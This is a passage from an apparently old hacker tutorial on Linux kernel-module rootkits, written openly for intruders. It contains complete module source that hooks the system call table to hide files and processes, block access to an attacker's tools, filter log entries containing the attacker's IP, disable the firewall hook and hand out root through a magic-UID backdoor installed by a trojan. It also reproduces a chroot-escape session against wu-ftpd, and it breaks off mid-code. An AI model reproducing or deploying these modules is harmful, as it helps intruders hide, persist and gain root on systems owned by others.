
done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem

is that you need to hide your presents from the super-admin program until that

point..).

So run the program (perhaps you have to be root to execute it) using strace.

# strace super_admin_proggy

This will give you a really nice output of every systemcall made by that program

including the systemcalls which may be added by the admin through his hacking

LKM (could be possible). I don't have a super-admin-proggy for showing you a

sample output, but take a look at the output of 'strace whoami' :

execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000

mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

open("/etc/ld.so.cache", O_RDONLY)      = 3

mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

close(3)                                = 0

stat("/etc/ld.so.preload", 0xbffff780)  = -1 ENOENT (No such file or directory)

open("/lib/libc.so.5", O_RDONLY)        = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096

mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000

mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000

mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000

mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000

close(3)                                = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

munmap(0x40008000, 13363)               = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 500

getuid()                                = 500

getgid()                                = 100

getegid()                               = 100

brk(0x804aa48)                          = 0x804aa48

brk(0x804b000)                          = 0x804b000

open("/usr/share/locale/locale.alias", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000

read(3, "# Locale name alias data base\n#"..., 4096) = 2005

brk(0x804c000)                          = 0x804c000

read(3, "", 4096)                       = 0

close(3)                                = 0

munmap(0x40008000, 4096)                = 0

open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)

open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

close(3)                                = 0

geteuid()                               = 500

open("/etc/passwd", O_RDONLY)           = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000

read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074

close(3)                                = 0

munmap(0x4000b000, 4096)                = 0

fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000

write(1, "r00t\n", 5r00t

)                   = 5

_exit(0)                                = ?

This is a very nice listing of all systamcalls made by the command 'whoami',

isn't it ? There are 4 interesting systemcalls to intercept in order to

manipulate the output of 'whoami'

geteuid()                               = 500

getuid()                                = 500

getgid()                                = 100

getegid()                               = 100

Take a look at II.6 for an implementation of that problem. This way of analysing

programs is also very important for a quick look at other standard tools.

I hope you are now able to find any systemcall which can help you to hide

yourself or just to backdoor the system, or whatever you want.

3. Confusing the kernel's System Table

In II.1 you saw how to access the sys_call_table, which is exported through the

kernel symbol table. Now think about this... We can modify any exported item

(functions, structures, variables, for example) by accessing them within our

module.

Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot

be compromised that way, because we don't export any symbols. Here is a little

excerpt from my /proc/ksyms file, just to show you what you can actually modify.



...

001bf1dc ppp_register_compressor

001bf23c ppp_unregister_compressor

001e7a10 ppp_crc16_table

001b9cec slhc_init

001b9ebc slhc_free

001baa20 slhc_remember

001b9f6c slhc_compress

001ba5dc slhc_uncompress

001babbc slhc_toss

001a79f4 register_serial

001a7b40 unregister_serial

00109cec dump_thread

00109c98 dump_fpu

001c0c90 __do_delay

001c0c60 down_failed

001c0c80 down_failed_interruptible

001c0c70 up_wakeup

001390dc sock_register

00139110 sock_unregister

0013a390 memcpy_fromiovec

001393c8 sock_setsockopt

00139640 sock_getsockopt

001398c8 sk_alloc

001398f8 sk_free

00137b88 sock_wake_async

00139a70 sock_alloc_send_skb

0013a408 skb_recv_datagram

0013a580 skb_free_datagram

0013a5cc skb_copy_datagram

0013a60c skb_copy_datagram_iovec

0013a62c datagram_select

00141480 inet_add_protocol

001414c0 inet_del_protocol

001ddd18 rarp_ioctl_hook

001bade4 init_etherdev

00140904 ip_rt_route

001408e4 ip_rt_dev

00150b84 icmp_send

00143750 ip_options_compile

001408c0 ip_rt_put

0014faa0 arp_send

0014f5ac arp_bind_cache

001dd3cc ip_id_count

0014445c ip_send_check

00142bc0 ip_forward

001dd3c4 sysctl_ip_forward

0013a994 register_netdevice_notifier

0013a9c8 unregister_netdevice_notifier

0013ce00 register_net_alias_type

0013ce4c unregister_net_alias_type

001bb208 register_netdev

001bb2e0 unregister_netdev

001bb090 ether_setup

0013d1c0 eth_type_trans

0013d318 eth_copy_and_sum

0014f164 arp_query

00139d84 alloc_skb

00139c90 kfree_skb

00139f20 skb_clone

0013a1d0 dev_alloc_skb

0013a184 dev_kfree_skb

0013a14c skb_device_unlock

0013ac20 netif_rx

0013ae0c dev_tint

001e6ea0 irq2dev_map

0013a7a8 dev_add_pack

0013a7e8 dev_remove_pack

0013a840 dev_get

0013b704 dev_ioctl

0013abfc dev_queue_xmit

001e79a0 dev_base

0013a8dc dev_close

0013ba40 dev_mc_add

0014f3c8 arp_find

001b05d8 n_tty_ioctl

001a7ccc tty_register_ldisc

0012c8dc kill_fasync

0014f164 arp_query

00155ff8 register_ip_masq_app

0015605c unregister_ip_masq_app

00156764 ip_masq_skb_replace

00154e30 ip_masq_new

00154e64 ip_masq_set_expire

001ddf80 ip_masq_free_ports

001ddfdc ip_masq_expire

001548f0 ip_masq_out_get_2

001391e8 register_firewall

00139258 unregister_firewall

00139318 call_in_firewall

0013935c call_out_firewall

001392d4 call_fw_firewall

...

Just look at call_in_firewall, this is a function used by the firewall

management in the kernel. What would happen if we replace this function with a

bogus one ?

Take a look at the following LKM :

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>





/*get the exported function*/

extern int *call_in_firewall;



/*our nonsense call_in_firewall*/

int new_call_in_firewall()

{

return 0;

}



int init_module(void)                /*module setup*/

{

call_in_firewall=new_call_in_firewall;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

}

Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping

127.0.0.1', your kernel will produce a nice error message, because the called

call_in_firewall(...) function was replaced by a bogus one (you may skip the

firewall installation in this example).

This is a quite brutal way of killing an exported symbol. You could also

disassemble (using gdb) a certain symbol and modify certain bytes which will

change the working of that symbol. Imagine there is a IF THEN contruction used

in an exported function. How about disassembling this function and searching for

commands like JNZ, JNE, ... This way you would be able to patch important items.

Of course, you could lookup the functions in the kernel / module sources, but

what about symbols you cannot get the source for because you only got a binary

module. Here the disassembling is quite interesting.



4. Filesystem related Hacks

The most important feature of LKM hacking is the abilaty to hide some items

(your exploits, sniffer (+logs), and so on) in the local filesystem.

4.1 How to Hide Files

Imagine how an admin will find your files : He will use 'ls' and see everything.

For those who don't know it, strace'in through 'ls' will show you that the

systemcall used for getting directory listings is

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

So we know where to attack.The following piece of code shows the hacked_getdents

systemcall adapted from AFHRM (from Michal Zalewski). This module is able to

hide any file from 'ls' and every program using getdents systemcall.

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];



int (*orig_getdents) (uint, struct dirent *, uint);



int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

unsigned int tmp, n;

int t, proc = 0;

struct inode *dinode;

struct dirent *dirp2, *dirp3;

char hide[]="ourtool";                       /*the file to hide*/



/*call original getdents -> result is saved in tmp*/

tmp = (*orig_getdents) (fd, dirp, count);



/*directory cache handling*/

/*this must be checked because it could be possible that a former getdents

put the results into the task process structure's dcache*/

#ifdef __LINUX_DCACHE_H

    dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

    dinode = current->files->fd[fd]->f_inode;

#endif



/*dinode is the inode of the required directory*/

if (tmp > 0)

{

  /*dirp2 is a new dirent structure*/

  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);

  /*copy original dirent structure to dirp2*/

  memcpy_fromfs(dirp2, dirp, tmp);

  /*dirp3 points to dirp2*/

  dirp3 = dirp2;

  t = tmp;

  while (t > 0)

  {

   n = dirp3->d_reclen;

   t -= n;

   /*check if current filename is the name of the file we want to hide*/

   if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)

   {

    /*modify dirent struct if necessary*/

    if (t != 0)

     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);

    else

     dirp3->d_off = 1024;

    tmp -= n;

   }

   if (dirp3->d_reclen == 0)

   {

    /*

     * workaround for some shitty fs drivers that do not properly

     * feature the getdents syscall.

    */

    tmp -= t;

    t = 0;

   }

  if (t != 0)

   dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);

  }

  memcpy_tofs(dirp, dirp2, tmp);

  kfree(dirp2);

}

return tmp;

}





int init_module(void)                /*module setup*/

{

orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_getdents]=orig_getdents;

                                       

}



For beginners : read the comments and use your brain for 10 mins.

After that continue reading.

This hack is really helpful. But remember that the admin can see your file by

directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our

file. So never take any trivial names for your tools like sniffer, mountdxpl.c,

.... Of course their are ways to prevent an admin from reading our files, just

read on.



4.2 How to hide the file contents (totally)

I never saw an implementation really doing this. Of course their are LKMs like

AFHRM by Michal Zalewski controlling the contents / delete functions but not

really hiding the contents. I suppose their are lots of people actually using

methods like this, but no one wrote on it, so I do.

It should be clear that there are many ways of doing this. The first way is very

simple,just intercept an open systemcall checking if filename is 'ourtool'. If

so deny any open-attempt, so no read / write or whatever is possible. Let's

implement that LKM :



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];





int (*orig_open)(const char *pathname, int flag, mode_t mode);





int hacked_open(const char *pathname, int flag, mode_t mode)

{

char *kernel_pathname;

char hide[]="ourtool";



/*this is old stuff -> transfer to kernel space*/

kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);



memcpy_fromfs(kernel_pathname, pathname, 255);



if (strstr(kernel_pathname, (char*)&hide ) != NULL)

{

  kfree(kernel_pathname);

  /*return error code for 'file does not exist'*/

  return -ENOENT;

}

else

{

  kfree(kernel_pathname);

  /*everything ok, it is not our tool*/

  return orig_open(pathname, flag, mode);

}

}





int init_module(void)                /*module setup*/

{

orig_open=sys_call_table[SYS_open];

sys_call_table[SYS_open]=hacked_open;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_open]=orig_open;                                      

}

This works very fine, it tells anyone trying to access our files, that they are

non-existent. But how do we access those files. Well there are many ways

  implement a magic-string



  implement uid or gid check (requires creating a certain account)



  implement a time check



  ...



There are thousands of possibilies which are all very easy to implement, so I

leave this as an exercise for the reader.

4.3 How to hide certain file parts (a prototype implementation)

Well the method shown in 3.2 is very useful for our own tools / logs. But what

about modifying admin / other user files. Imagine you want to control

/var/log/messages for entries concerning your IP address / DNS name. We all know

thousands of backdoors hiding our identity from any important logfile. But what

about a LKM just filtering every string (data) written to a file. If this string

contains any data concerning our identity (IP address, for example) we deny that

write (we will just skip it/return). The following implementation is a very (!!)

basic prototype (!!) LKM, just for showing it. I never saw it before, but as in

3.2 there may be some people using this since years.

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];





int (*orig_write)(unsigned int fd, char *buf, unsigned int count);



int hacked_write(unsigned int fd, char *buf, unsigned int count)

{

char *kernel_buf;

char hide[]="127.0.0.1"; /*the IP address we want to hide*/



kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);



memcpy_fromfs(kernel_buf, buf, 999);



if (strstr(kernel_buf, (char*)&hide ) != NULL)

{

  kfree(kernel_buf);

  /*say the program, we have written 1 byte*/

  return 1;

}

else

{

  kfree(kernel_buf);

  return orig_write(fd, buf, count);

}

}



int init_module(void)                /*module setup*/

{

orig_write=sys_call_table[SYS_write];

sys_call_table[SYS_write]=hacked_write;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_write]=orig_write;                                      

}

This LKM has several disadvantages, it does not check for the destination it the

write is used on (can be checked via fd; read on for a sample). This means the

even a 'echo '127.0.0.1'' will be printed.

You can also modify the string which should be written, so that it shows an IP

address of someone you really like... But the general idea should be clear.



4.4 How to redirect / monitor file operations

This idea is old, and was first implemented by Michal Zalewski in AFHRM. I won't

show any code here, because it is too easy to implemented (after showing you

II.4.3/II.4.2).There are many things you can monitor by redirection/ filesystem

events :

  someone writes to a file -> copy the contents to another file =>this can be

  done with sys_write(...) redirection



  someone was able to read a sensitve file -> monitor file reading of certain

  files

  =>this can be done with sys_read(...) redirection



  someone opens a file -> we can monitor the whole system for such events

  =>intercept sys_open(...) and write files opened to a logfile; this is the

  ways AFHRM monitors the files of a system (see IV.3 for source)



  link / unlink events -> monitor every link created

  =>intercept sys_link(...) (see IV.3 for source)



  rename events -> monitor every file rename event

  =>intercept sys_rename(...) (see IV.4 for source)



  ...



These are very interesting points (especially for admins) because you can

monitor a whole system for file changes. In my opinion it would also be

interesting to monitor file / directory creations, which use commands like

'touch' and 'mkdir'.

The command 'touch' (for example) does not use open for the creation process; a

strace shows us the following listing (excerpt) :

...

stat("ourtool", 0xbffff798)             = -1 ENOENT (No such file or directory)

creat("ourtool", 0666)                  = 3

close(3)                                = 0

_exit(0)                                = ?

As you can see the system uses the systemcall sys_creat(..) to create new files.

I think it is not necessary to present a source,because this task is too trivial

just intercept sys_creat(...) and write every filename to logfile with

printk(...).

This is the way AFHRM logs any important events.

4.5 How to avoid any file owner problems

This hack is not only filesystem related, it is also very important for general

permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)

suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid

is used with this magic UID, the module will set the UIDs to 0 (SuperUser).

Let's look at his implementation(I will only show the hacked_setuid systemcall):



...

int hacked_setuid(uid_t uid)

{

    int tmp;

   

    /*do we have the magic UID (defined in the LKM somewhere before*/

    if (uid == MAGICUID) {

    /*if so set all UIDs to 0 (SuperUser)*/

        current->uid = 0;

        current->euid = 0;

        current->gid = 0;

        current->egid = 0;

        return 0;

    }

    tmp = (*o_setuid) (uid);

    return tmp;

}

...

I think the following trick could also be very helpful in certain situation.

Imagine the following situation: You give a bad trojan to an (very silly) admin;

this trojan installs the following LKM on that system [i did not implement hide

features, just a prototype of my idea] :

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];





int (*orig_getuid)();



int hacked_getuid()

{

    int tmp;

     

    /*check for our UID*/

    if (current->uid=500) {

    /*if its our UID -> this means we log in -> give us a rootshell*/

            current->uid = 0;

        current->euid = 0;

        current->gid = 0;

        current->egid = 0;

        return 0;

    }

    tmp = (*orig_getuid) ();

    return tmp;

}





int init_module(void)                /*module setup*/

{

orig_getuid=sys_call_table[SYS_getuid];

sys_call_table[SYS_getuid]=hacked_getuid;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_getuid]=orig_getuid;                                      

}

If this LKM is loaded on a system we are only a normal user, login will give us

a nice rootshell (the current process has SuperUser rights). As I said in part I

current points to the current task structure.

4.6 How to make a hacker-tools-directory unaccessible

For hackers it is often important to make the directory they use for their tools

(advanced hackers don't use the regular local filesystem to store their data).

Using the getdents approach helped us to hide directory/files. The open approach

helped us to make our files unaccessible. But how to make our directory

unaccessible ?

Well - as always - take a look at include/sys/syscall.h; you should be able to

figure out SYS_chdir as the systemcall we need (for people who don't believe it

just strace the 'cd' command...). This time I won't give you any source, because

you just need to intercept sys_mkdir, and make a string comparison. After this

you should make a regular call (if it is not our directory) or return ENOTDIR

(standing for 'there exists no directory with that name'). Now your tools should

really be hidden from intermediate admins (advanced / paranoid ones will scan

the HDD at its lowest level, but who is paranoid today besides us ?!). It should

also be possible to defeat this HDD scan, because everything is based on

systemcalls.



4.7 How to change CHROOT Environments

This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a

real good text on that theme ('Restricting a restricted FTP'). I will explain

their idea in some short words. Please note that the following example will not

work anymore, it is quite old (see wu-ftpd version). I just show it in order to

explain how you can escape from chroot environments using LKMs. The following

text is based on old software (wuftpd) so don't try to use it in newer wu-ftpd

versions, it won't work.

HISPAHACK's paper is based on the idea of an restricted user FTP account which

has the following permission layout :



drwxr-xr-x     6 user      users      1024 Jun 21 11:26 /home/user/

drwx--x--x     2 root      root       1024 Jun 21 11:26 /home/user/bin/

This scenario (which you can often find) the user (we) can rename the bin

directory, because it is in our home directory.

Before doing anything like that let's take a look at whe working of wu.ftpd (the

server they used for explanation, but the idea is more general). If we issue a

LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid). Before the

execution is actually done wu.ftpd will use chroot(...) in order to set the

process root directory in a way we are restricted to the home directory. This

prevents us from accessing other parts of the filesystem via our FTP account

(restricted).

Now imagine we could replace /bin/ls with another program, this program would be

executed as root (uid=0). But what would we win, we cannot access the whole

system because of the chroot(...) call. This is the point where we need a LKM

helping us. We remove .../bin/ls with a program which loads a LKM supplied by

us. This module will intercept the sys_chroot(...) systemcall. It must be

changed in way it will no more restrict us.

This means we only need to be sure that sys_chroot(...) is doing nothing.

HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way

it only returns 0 and nothing more. After loading this LKM you can spawn a new

process without being restricted anymore. This means you can access the whole

system with uid=0. The following listing shows the example 'Hack-Session'

published by HISPAHACK :

thx:~# ftp

ftp> o ilm

Connected to ilm.

220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.

Name (ilm:root): user

331 Password required for user.

Password:

230 User user logged in.&nbsp; Access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.</TT></PRE>

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 5

drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .

drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 ..

d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin

drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc

drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home

226 Transfer complete.

ftp> cd ..

250 CWD command successful.

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 5

drwxr-xr-x  5 user              users                  1024 Jun 21 11:26 .

drwxr-xr-x  5 user              users                  1024 Jun 21 21:26 ..

d--x--x--x  2 root              root                   1024 Jun 21 11:26 bin

drwxr-xr-x  2 root              root                   1024 Jun 21 11:26 etc

drwxr-xr-x  2 user              users                  1024 Jun 21 11:26 home

226 Transfer complete.

ftp> ls bin/ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

---x--x--x  1 root              root                   138008 Jun 21 11:26 bin/ls

226 Transfer complete.

ftp> ren bin bin.old

350 File exists, ready for destination name

250 RNTO command successful.

ftp> mkdir bin

257 MKD command successful.

ftp> cd bin

250 CWD command successful.

ftp> put ls

226 Transfer complete.

ftp> put insmod

226 Transfer complete.

ftp> put chr.o

226 Transfer complete.

ftp> chmod 555 ls

200 CHMOD command successful.

ftp> chmod 555 insmod

200 CHMOD command successful.

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

UID: 0 EUID: 1002

Cambiando EUID...

UID: 0 EUID: 0

Cargando modulo chroot...

Modulo cargado.

226 Transfer complete.

ftp> bye

221 Goodbye.

thx:~#



--> now we start a new FTP session without being restricted (LKM is loaded so

    sys_chroot(...) is defeated. So do what you want (download passwd...)

In the Appendix you will find the complete source code for the new ls and the

module.



5. Process related Hacks

So far the filesystem is totally controlled by us. We discussed the most

interesting 'Hacks'. Now its time to change the direction. We need to discuss

LKMs confusing commands like 'ps' showing processes.

5.1 How to hide any process

The most important thing we need everyday is hiding a process from the admin.

Imagine a sniffer, cracker (should normally not be done on hacked systems), ...

seen by an admin when using 'ps'. Oldschool tricks like changing the name of the

sniffer to something different, and hoping the admin is silly enough, are no

good for the 21. century. We want to hide the process totally. So lets look at

an implementation from plaguez (some very minor changes):

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#include <linux/proc_fs.h>



extern void* sys_call_table[];



/*process name we want to hide*/

char mtroj[] = "my_evil_sniffer";



int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);



/*convert a string to number*/

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

  if (*ptr < '0' || *ptr > '9')

   return (-1);

  res += (*ptr - '0') * mul;

  mul *= 10;

}

return (res);

}



/*get task structure from PID*/

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p = current;

do {

  if (p->pid == pid)

   return p;

   p = p->next_task;

  }

  while (p != current);

  return NULL;

}



/*get process name from task structure*/

static inline char *task_name(struct task_struct *p, char *buf)

{

int i;

char *name;



name = p->comm;

i = sizeof(p->comm);

do {

  unsigned char c = *name;

  name++;

  i--;

  *buf = c;

  if (!c)

   break;

  if (c == '\\') {

   buf[1] = c;

   buf += 2;

   continue;

  }

  if (c == '\n') {

   buf[0] = '\\';

   buf[1] = 'n';

   buf += 2;

   continue;

  }

  buf++;

}

while (i);

*buf = '\n';

return buf + 1;

}



/*check whether we need to hide this process*/

int invisible(pid_t pid)

{

struct task_struct *task = get_task(pid);

char *buffer;

if (task) {

  buffer = kmalloc(200, GFP_KERNEL);

  memset(buffer, 0, 200);

  task_name(task, buffer);

  if (strstr(buffer, (char *) &mtroj)) {

   kfree(buffer);

   return 1;

  }

}

return 0;

}



/*see II.4 for more information on filesystem hacks*/

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

unsigned int tmp, n;

int t, proc = 0;

struct inode *dinode;

struct dirent *dirp2, *dirp3;



tmp = (*orig_getdents) (fd, dirp, count);



#ifdef __LINUX_DCACHE_H

dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

dinode = current->files->fd[fd]->f_inode;

#endif



if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)

  proc=1;

if (tmp > 0) {

  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);

  memcpy_fromfs(dirp2, dirp, tmp);

  dirp3 = dirp2;

  t = tmp;

  while (t > 0) {

   n = dirp3->d_reclen;

   t -= n;

  if ((proc && invisible(myatoi(dirp3->d_name)))) {

   if (t != 0)

    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);

   else

    dirp3->d_off = 1024;

    tmp -= n;

   }

   if (t != 0)

    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);

  }

  memcpy_tofs(dirp, dirp2, tmp);

  kfree(dirp2);

}

return tmp;

}





int init_module(void)                /*module setup*/

{

orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_getdents]=orig_getdents;                                      

}

The code seems complicated, but if you know how 'ps' and every process analyzing

tool works, it is really easy to understand. Commands like 'ps' do not use any

special systemcall for getting a list of the current processes (there exists no

systemcall doing this). By strace'in 'ps' you will recognize that it gets its

information from the /proc/ directory. There you can find lots of directories

with names only consisting of numbers. Those numbers are the PIDs of all running

processes on that system. Inside these directories you find files which provide

any information on that process.So 'ps' just does an 'ls' on /proc/; every

number it finds stands for a PID it shows in its well-known listing. The

information it shows us about every process is gained from reading the files

inside /proc/PID/. Now you should get the idea.'ps' must read the contents of

the /proc/ directory, so it must use sys_getdents(...).We just must get the name

of the a PID found in /proc/; if it is our process name we want to hide, we will

hide it from /proc/ (like we did with other files in the filesystem -> see 4.1).

The two task functions and the invisible(...) function are only used to get the

name for a given PID found in the proc directory and related stuff. The file

hiding should be clear after studying 4.1.

I would improve only one point in plaguez approuch. I don't know why he used a

selfmade atoi-function, simple_strtoul(...) would be the easier way, but these

are peanuts. Of course, in a complete hide module you would put file and process

hiding in one hacked getdents call (this is the way plaguez did it).

Runar Jensen used another, more complicated way. He also hides the PIDs from the

/proc directory, but the way he checks whether to hide or not is a bit

different. He uses the flags field in the task structure. This unsigned long

field normally uses the following constants to save some information on the task

:



  PF_PTRACED : current process is observed



  PF_TRACESYS : " " " "



  PF_STARTING : process is going to start



  PF_EXITING : process is going to terminate



Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate

that the corresponding process should be invisible. So a PID found in /proc by

using sys_getdents(...) must not be resolved in its name. You only have to check

for the task flag field. This sounds easier than the 'name approach'. But how to

set this flag for a process we want to hide. Runar Jensen used the easiest way

by hooking sys_kill(...). The 'kill' command can send a special code (9 for

termination, for example) to any process speciafied by his PID. So start your

process which is going to be invisible, do a 'ps' for getting its PID. And use a

'kill -code PID'. The code field must be a value that is not used by the system

(so 9 would be a bad choice); Runar Jensen took 32. So the module needs to hook

sys_kill(...) and check for a code of 32. If so it must set the task flags field

of the process specified through the PID given to sys_kill(...). This is a way

to set the flag field. Now it is clear why this approach is a bit too

complicated for an easy practical use.

5.2 How to redirect Execution of files

In certain situations it could be very interesting to redirect the execution of

a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This

would allow you to insert any trojan without problem of checksum checks on those

files (you don't need to change them). So let's again search the responsible

systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez way

of redirection (the original idea came from halflife) :



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];



/*must be defined because of syscall macro used below*/

int errno;



/*we define our own systemcall*/

int __NR_myexecve;



/*we must use brk*/

static inline _syscall1(int, brk, void *, end_data_segment);



int (*orig_execve) (const char *, const char *[], const char *[]);



/*here plaguez's user -> kernel space transition specialized for strings

is better than memcpy_fromfs(...)*/

char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;



do {

  dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '\0') && (compt != n));

return dest;

}





/*this is something like a systemcall macro called with SYS_execve, the

asm code calls int 0x80 with the registers set in a way needed for our own

__NR_myexecve systemcall*/

int my_execve(const char *filename, const char *argv[], const char *envp[])

{

    long __res;

    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)

                     (filename)), "c"((long) (argv)),                      "d"((long) (envp)));

